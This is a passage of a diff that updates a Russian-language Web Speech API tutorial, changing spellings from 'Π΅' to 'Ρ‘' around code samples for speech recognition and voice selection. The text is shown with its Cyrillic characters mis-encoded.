ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ запускаСтся сразу послС получСния ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠ³ΠΎ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ†Π²Π΅Ρ‚Π° ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌΒ Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌΒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>getColor()</code></p>
+<p>ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ процСсс распознавания Ρ€Π΅Ρ‡ΠΈ Π±Ρ‹Π» Π·Π°ΠΏΡƒΡ‰Π΅Π½, Π΅ΡΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² событий, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΡΠΎΠΏΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ (см. <a href="https://developer.mozilla.org/ru/docs/Web/API/SpeechRecognition#%D0%9E%D0%B1%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D1%87%D0%B8%D0%BA%D0%B8_%D1%81%D0%BE%D0%B1%D1%8B%D1%82%D0%B8%D0%B9">Бписок ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² событий SpeechRecognition</a>.) НаиболСС распространённый, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹, вСроятно, ΠΈ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, это <a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/onresult">SpeechRecognition.onresult</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ запускаСтся сразу послС получСния ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠ³ΠΎ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ†Π²Π΅Ρ‚Π° ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌΒ Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌΒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>getColor()</code></p>
<pre>function getColor(speechResult) {
Β  for (let index = 0; index &lt; colorsList.length; index += 1) {
@@ -182,7 +182,7 @@ recognition.onresult = function(event) {
console.log('Confidence: ' + event.results[0][0].confidence);
};</pre>
-<p>Π’Ρ€Π΅Ρ‚ΡŒΡ строка здСсь выглядит Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ услоТнСнной, поэтому Π΄Π°Π²Π°ΠΉΡ‚Π΅ разбСрСмся с Π½Π΅ΠΉ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅. Бвойство <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionEvent/results">SpeechRecognitionEvent.results</a></code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionResultList">SpeechRecognitionResultList</a></code>, содСрТащий Π² сСбС Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Ρ‚ΠΈΠΏΠ° <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionResult">SpeechRecognitionResult</a></code>. Π£ Π½Π΅Π³ΠΎ Π΅ΡΡ‚ΡŒ Π³Π΅Ρ‚Ρ‚Π΅Ρ€, поэтому ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ доступСн ΠΊΠ°ΠΊ массив, поэтому пСрСмСнная <code>last</code> опрСдСляСт ссылку Π½Π°Β <code>SpeechRecognitionResult</code> ΠΈΠ· списка. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>SpeechRecognitionResult</code> содСрТит ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionAlternative">SpeechRecognitionAlternative</a></code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ содСрТат ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ распознанныС слова. Они Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠΌΠ΅ΡŽΡ‚ Π³Π΅Ρ‚Ρ‚Π΅Ρ€Ρ‹, поэтому ΠΊ Π½ΠΈΠΌ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊΠ°ΠΊ ΠΊ массивам, поэтому Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ, Ρ‡Ρ‚ΠΎ [0] Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>SpeechRecognitionAlternative</code> ΠΏΠΎ индСксу 0. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌ строку, ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‰ΡƒΡŽ ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½ΠΎ распознанный Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈ ΠΌΠΎΠΆΠ΅ΠΌ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π°.</p>
+<p>Π’Ρ€Π΅Ρ‚ΡŒΡ строка здСсь выглядит Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ услоТнённой, поэтому Π΄Π°Π²Π°ΠΉΡ‚Π΅ разбСрёмся с Π½Π΅ΠΉ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅. Бвойство <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionEvent/results">SpeechRecognitionEvent.results</a></code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionResultList">SpeechRecognitionResultList</a></code>, содСрТащий Π² сСбС Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Ρ‚ΠΈΠΏΠ° <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionResult">SpeechRecognitionResult</a></code>. Π£ Π½Π΅Π³ΠΎ Π΅ΡΡ‚ΡŒ Π³Π΅Ρ‚Ρ‚Π΅Ρ€, поэтому ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ доступСн ΠΊΠ°ΠΊ массив, поэтому пСрСмСнная <code>last</code> опрСдСляСт ссылку Π½Π°Β <code>SpeechRecognitionResult</code> ΠΈΠ· списка. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>SpeechRecognitionResult</code> содСрТит ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionAlternative">SpeechRecognitionAlternative</a></code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ содСрТат ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ распознанныС слова. Они Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠΌΠ΅ΡŽΡ‚ Π³Π΅Ρ‚Ρ‚Π΅Ρ€Ρ‹, поэтому ΠΊ Π½ΠΈΠΌ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊΠ°ΠΊ ΠΊ массивам, поэтому Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ, Ρ‡Ρ‚ΠΎ [0] Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>SpeechRecognitionAlternative</code> ΠΏΠΎ индСксу 0. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌ строку, ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‰ΡƒΡŽ ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½ΠΎ распознанный Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈ ΠΌΠΎΠΆΠ΅ΠΌ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π°.</p>
<p>ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ свойство <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/onspeechend">SpeechRecognition.speechend</a></code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π΄Π°Ρ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ Π½Π° Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠ΅Β Ρ€Π°Π±ΠΎΡ‚Ρ‹Β Ρ€Π°ΡΠΏΠΎΠ·Π½Π°Π²Π°Ρ‚Π΅Π»Ρ Ρ€Π΅Ρ‡ΠΈ (Π²Ρ‹Π·ΠΎΠ²Β <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/stop">SpeechRecognition.stop()</a></code> ), ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎ слово Π±Ρ‹Π»ΠΎ распознано, ΠΈ входящий Ρ€Π΅Ρ‡Π΅Π²ΠΎΠΉ ΠΏΠΎΡ‚ΠΎΠΊ Π±Ρ‹Π» остановлСн.</p>
@@ -196,7 +196,7 @@ recognition.onresult = function(event) {
<h4 id="ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°_ошибок">ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° ошибок</h4>
-<p>ПослСдниС Π΄Π²Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для ΠΎΡ‚Π»ΠΎΠ²Π° ошибок: ΠΊΠΎΠ³Π΄Π° Ρ€Π΅Ρ‡ΡŒ Π±Ρ‹Π»Π° ΠΏΡ€ΠΈΠ·Π½Π°Π½Π° Π½Π΅ Π² соотвСтствии с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ Π³Ρ€Π°ΠΌΠΌΠ°Ρ‚ΠΈΠΊΠΎΠΉΒ ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»Π° ошибка. По Π»ΠΎΠ³ΠΈΠΊΠ΅, <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/onnomatch">SpeechRecognition.onnomatch</a></code>, Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ случай, Π½ΠΎ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΎΠ½Β Π½Π΅ срабатываСт ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Π² Firefox ΠΈΠ»ΠΈ Chrome,Β ΠΎΠ½ просто Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ всС, Ρ‡Ρ‚ΠΎ Π±Ρ‹Π»ΠΎ распознано Π² любом случаС:</p>
+<p>ПослСдниС Π΄Π²Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для ΠΎΡ‚Π»ΠΎΠ²Π° ошибок: ΠΊΠΎΠ³Π΄Π° Ρ€Π΅Ρ‡ΡŒ Π±Ρ‹Π»Π° ΠΏΡ€ΠΈΠ·Π½Π°Π½Π° Π½Π΅ Π² соотвСтствии с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ Π³Ρ€Π°ΠΌΠΌΠ°Ρ‚ΠΈΠΊΠΎΠΉΒ ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»Π° ошибка. По Π»ΠΎΠ³ΠΈΠΊΠ΅, <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/onnomatch">SpeechRecognition.onnomatch</a></code>, Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ случай, Π½ΠΎ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΎΠ½Β Π½Π΅ срабатываСт ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Π² Firefox ΠΈΠ»ΠΈ Chrome,Β ΠΎΠ½ просто Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ всС, Ρ‡Ρ‚ΠΎ Π±Ρ‹Π»ΠΎ распознано Π² любом случаС:</p>
<pre>recognition.onnomatch = function(event) {
alert("I didn't recognise that color.");
@@ -229,7 +229,7 @@ recognition.onresult = function(event) {
<h3 id="БраузСрная_ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ°_2">БраузСрная ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ°</h3>
-<p>ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° интСрфСйса Π΅Ρ‰Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ распространяСтся Π½Π° основныС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, ΠΈ Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
+<p>ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° интСрфСйса Π΅Ρ‰Ρ‘ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ распространяСтся Π½Π° основныС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, ΠΈ Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<ul>
<li dir="ltr">
@@ -252,7 +252,7 @@ recognition.onresult = function(event) {
Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΈ Ρ„ΠΎΡ€ΠΌΡƒ с Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ простыми элСмСнтами управлСния.<br>
Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ <code>&lt;select&gt; </code>ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ пуст, Π½ΠΎ заполняСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>&lt;option&gt;</code> Ρ‡Π΅Ρ€Π΅Π· JavaScript (см. Π½ΠΈΠΆΠ΅).</p>
-<p>CSS Π·Π°Π΄Π°Π΅Ρ‚ простыС ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹Π΅ стили, для ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎΠ³ΠΎ отобраТСния ΠΈ Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π½Π° всСх устройствах</p>
+<p>CSS Π·Π°Π΄Π°Ρ‘Ρ‚ простыС ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹Π΅ стили, для ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎΠ³ΠΎ отобраТСния ΠΈ Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π½Π° всСх устройствах</p>
<pre>&lt;section&gt;
&lt;h1&gt;Π‘ΠΈΠ½Ρ‚Π΅Π· Ρ€Π΅Ρ‡ΠΈ&lt;/h1&gt;
@@ -292,7 +292,7 @@ recognition.onresult = function(event) {
<h4 id="Π—Π°Π΄Π°Π½ΠΈΠ΅_ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…">Π—Π°Π΄Π°Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…</h4>
-<p>ΠŸΡ€Π΅ΠΆΠ΄Π΅ всСго, создаСм ссылки Π½Π° всС Π½ΡƒΠΆΠ½Ρ‹Π΅ Π½Π°ΠΌ DOM-элСмСнты.</p>
+<p>ΠŸΡ€Π΅ΠΆΠ΄Π΅ всСго, создаём ссылки Π½Π° всС Π½ΡƒΠΆΠ½Ρ‹Π΅ Π½Π°ΠΌ DOM-элСмСнты.</p>
<p dir="ltr">Входная Ρ‚ΠΎΡ‡ΠΊΠ° API - <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/speechSynthesis">window.speechSynthesis</a></code>, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ экзСмпляр <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis">SpeechSynthesis</a></code>, интСрфСйс ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π° для синтСза Ρ€Π΅Ρ‡ΠΈ Π² Π²Π΅Π±Π΅.</p>
@@ -308,9 +308,9 @@ let voices = [];</pre>
<h4 id="Π—Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅_Π²Ρ‹ΠΏΠ°Π΄Π°ΡŽΡ‰Π΅Π³ΠΎ_списка">Π—Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π²Ρ‹ΠΏΠ°Π΄Π°ΡŽΡ‰Π΅Π³ΠΎ списка</h4>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ элСмСнт <code><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/select">&lt;select&gt;</a></code> Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π°ΠΌΠΈ голоса, доступных Π½Π° устройствС, напишСм Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/getVoices">populateVoiceList()</a></code>. Π‘Π½Π°Ρ‡Π°Π»Π° ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/getVoices">SpeechSynthesis.getVoices()</a></code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ список всСх доступных Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² голосов, прСдставлСнных ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice">SpeechSynthesisVoice</a></code>. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ проходимся ΠΏΠΎ списку, создавая элСмСнт <code><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/option">&lt;option&gt;</a></code> для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ случая, Π·Π°Π΄Π°Π΅ΠΌ Π΅Π³ΠΎ тСкстовоС содСрТимоС, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ названию голоса (взято ΠΈΠ· <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice/name">SpeechSynthesisVoice.name</a></code>), языка голоса (ΠΈΠ· <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice/lang">SpeechSynthesisVoice.lang</a></code>), ΠΈ Β β€œΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽβ€, Ссли голос являСтся голосом ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠ° синтСза (провСряСтся, Ссли функция <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice/default">SpeechSynthesisVoice.default</a></code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>true</code>.)</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ элСмСнт <code><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/select">&lt;select&gt;</a></code> Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π°ΠΌΠΈ голоса, доступных Π½Π° устройствС, напишСм Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/getVoices">populateVoiceList()</a></code>. Π‘Π½Π°Ρ‡Π°Π»Π° ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/getVoices">SpeechSynthesis.getVoices()</a></code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ список всСх доступных Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² голосов, прСдставлСнных ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice">SpeechSynthesisVoice</a></code>. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ проходимся ΠΏΠΎ списку, создавая элСмСнт <code><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/option">&lt;option&gt;</a></code> для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ случая, Π·Π°Π΄Π°Ρ‘ΠΌ Π΅Π³ΠΎ тСкстовоС содСрТимоС, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ названию голоса (взято ΠΈΠ· <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice/name">SpeechSynthesisVoice.name</a></code>), языка голоса (ΠΈΠ· <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice/lang">SpeechSynthesisVoice.lang</a></code>), ΠΈ Β β€œΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽβ€, Ссли голос являСтся голосом ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠ° синтСза (провСряСтся, Ссли функция <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice/default">SpeechSynthesisVoice.default</a></code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>true</code>.)</p>
-<p>ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π·Π°Π΄Π°Π΅ΠΌ <code>data-</code> Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π°, содСрТащиС имя ΠΈ язык связанного голоса, благодаря Ρ‡Π΅ΠΌΡƒ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π»Π΅Π³ΠΊΠΎ ΠΈΡ… ΡΠΎΠ±Ρ€Π°Ρ‚ΡŒ ΠΈΡ… ΠΏΠΎΠ·ΠΆΠ΅, Π° Π·Π°Ρ‚Π΅ΠΌ Π²Π»ΠΎΠΆΠΈΡ‚ΡŒ всС Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹ Π² качСствС Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов нашСго списка (<code>&lt;select&gt;</code>).</p>
+<p>ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π·Π°Π΄Π°Ρ‘ΠΌ <code>data-</code> Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π°, содСрТащиС имя ΠΈ язык связанного голоса, благодаря Ρ‡Π΅ΠΌΡƒ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π»Π΅Π³ΠΊΠΎ ΠΈΡ… ΡΠΎΠ±Ρ€Π°Ρ‚ΡŒ ΠΈΡ… ΠΏΠΎΠ·ΠΆΠ΅, Π° Π·Π°Ρ‚Π΅ΠΌ Π²Π»ΠΎΠΆΠΈΡ‚ΡŒ всС Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹ Π² качСствС Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов нашСго списка (<code>&lt;select&gt;</code>).</p>
<pre>function populateVoiceList() {
voices = synth.getVoices();
@@ -340,11 +340,11 @@ let voices = [];</pre>
speechSynthesis.onvoiceschanged = populateVoiceList;
}</pre>
-<h4 id="ΠžΠ·Π²ΡƒΡ‡ΠΊΠ°_Π²Π²Π΅Π΄Π΅Π½Π½ΠΎΠ³ΠΎ_тСкста">ΠžΠ·Π²ΡƒΡ‡ΠΊΠ° Π²Π²Π΅Π΄Π΅Π½Π½ΠΎΠ³ΠΎ тСкста</h4>
